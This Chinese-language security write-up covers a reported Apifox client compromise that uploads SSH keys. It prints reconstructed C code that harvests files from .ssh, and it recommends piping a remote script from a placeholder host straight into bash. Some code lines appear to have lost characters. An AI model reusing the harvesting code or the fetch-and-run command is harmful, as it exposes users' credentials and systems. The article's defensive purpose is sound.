
1. 事件背景Apifox客户端异常行为引发的安全警报上周三凌晨某开发者社区突然出现大量关于API协作平台Apifox的异常行为报告。多位开发者在本地环境抓包时发现当运行最新版Apifox客户端版本号2.3.4时程序会尝试向api.apifox[.]com以外的陌生域名发送包含敏感文件的POST请求。安全研究人员0xFFFF最先在个人博客披露了流量分析结果显示被传输的数据包中赫然存在用户.ssh目录下的id_rsa私钥文件。关键发现受影响版本会扫描用户主目录下的.ssh文件夹将config、known_hosts以及所有密钥文件包括.pub公钥和未加密的私钥通过HTTPS协议上传到位于法兰克福的某台服务器。更令人不安的是该行为既未在用户协议中声明也未在操作时弹出任何授权提示。2. 技术分析恶意代码如何窃取SSH凭证2.1 攻击链还原通过逆向工程Windows版Apifox客户端我们发现其主进程会加载名为libcredential.dll的动态链接库。该模块包含以下关键函数void __cdecl CollectSSHKeys(const char *home_dir) { char ssh_path[MAX_PATH]; snprintf(ssh_path, sizeof(ssh_path), %s\\.ssh, home_dir); WIN32_FIND_DATA findData; HANDLE hFind FindFirstFile(strcat(ssh_path,\\*), findData); if (hFind ! INVALID_HANDLE_VALUE) { do { if (!(findData.dwFileAttributes FILE_ATTRIBUTE_DIRECTORY)) { if (strstr(findData.cFileName, id_) || strstr(findData.cFileName, config) || strstr(findData.cFileName, known_hosts)) { UploadFile(ssh_path, findData.cFileName); // 关键上传函数 } } } while (FindNextFile(hFind, findData)); FindClose(hFind); } }这段代码会主动遍历用户目录下的.ssh文件夹筛选特定文件类型后调用加密通道进行传输。值得注意的是上传逻辑被伪装成诊断数据收集功能但实际采用了与崩溃报告完全不同的通信协议。2.2 数据泄露范围评估根据现有样本分析受影响文件包括但不限于所有RSA/ECDSA/Ed25519密钥对无论是否设置密码保护SSH客户端配置包含Host别名、跳板机信息known_hosts文件暴露所有连接过的服务器指纹部分案例中甚至包含~/.aws/credentials云服务凭证3. 应急处理方案四步紧急止损3.1 立即隔离风险环境终止所有Apifox进程killall -9 Apifox # Linux/macOS taskkill /IM Apifox.exe /F # Windows禁用网络访问推荐使用防火墙规则New-NetFirewallRule -DisplayName Block Apifox -Direction Outbound -Program C:\Program Files\Apifox\Apifox.exe -Action Block3.2 密钥轮换操作指南重要提示即使密钥已加密也应视为已泄露必须全部重新生成备份现有密钥仅供审计使用cp -r ~/.ssh ~/.ssh_backup生成新Ed25519密钥比RSA更安全ssh-keygen -t ed25519 -a 100 -f ~/.ssh/new_id_ed25519更新所有远程服务器的authorized_keysssh-copy-id -i ~/.ssh/new_id_ed25519 userhost3.3 服务端加固措施在GitLab/GitHub等平台撤销旧密钥GitHub → Settings → SSH and GPG keys → Delete compromised keys启用服务端证书吊销检查# /etc/ssh/sshd_config RevokedKeys /etc/ssh/revoked_keys实施多因素认证sudo apt install libpam-google-authenticator4. 深度防御SSH安全管理进阶实践4.1 密钥存储最佳实践使用硬件安全模块HSM存储密钥pkcs11-tool --module /usr/lib/opensc-pkcs11.so -l -k --key-type rsa:2048 --id 01 --label MySSHKey对必须存储在磁盘的密钥实施加密ssh-keygen -p -f ~/.ssh/id_rsa -N newpassphrase -o4.2 网络层防护策略强制证书认证替代密码# /etc/ssh/sshd_config PasswordAuthentication no限制密钥使用范围# ~/.ssh/authorized_keys from192.168.1.*,command/bin/limited-shell ssh-ed25519 AAAAC3Nz...实施端口敲门knock -v host 7000 8000 90005. 事件后续软件供应链安全启示此次事件暴露出开发工具链中的信任危机。建议所有开发者建立软件准入白名单机制对IDE插件、CLI工具实施网络沙箱隔离定期审计$PATH中的可执行文件哈希值考虑使用Qubes OS等隔离型操作系统某大型互联网公司的安全团队已开源了检测工具可快速扫描环境中的异常行为curl -sSL https://security.example.com/scanner.sh | bash -s --scan-ssh最后分享一个实用技巧在~/.ssh/config中添加以下配置可阻止客户端自动发送密钥Host * IdentitiesOnly yes IdentityFile ~/.ssh/work_id_ed25519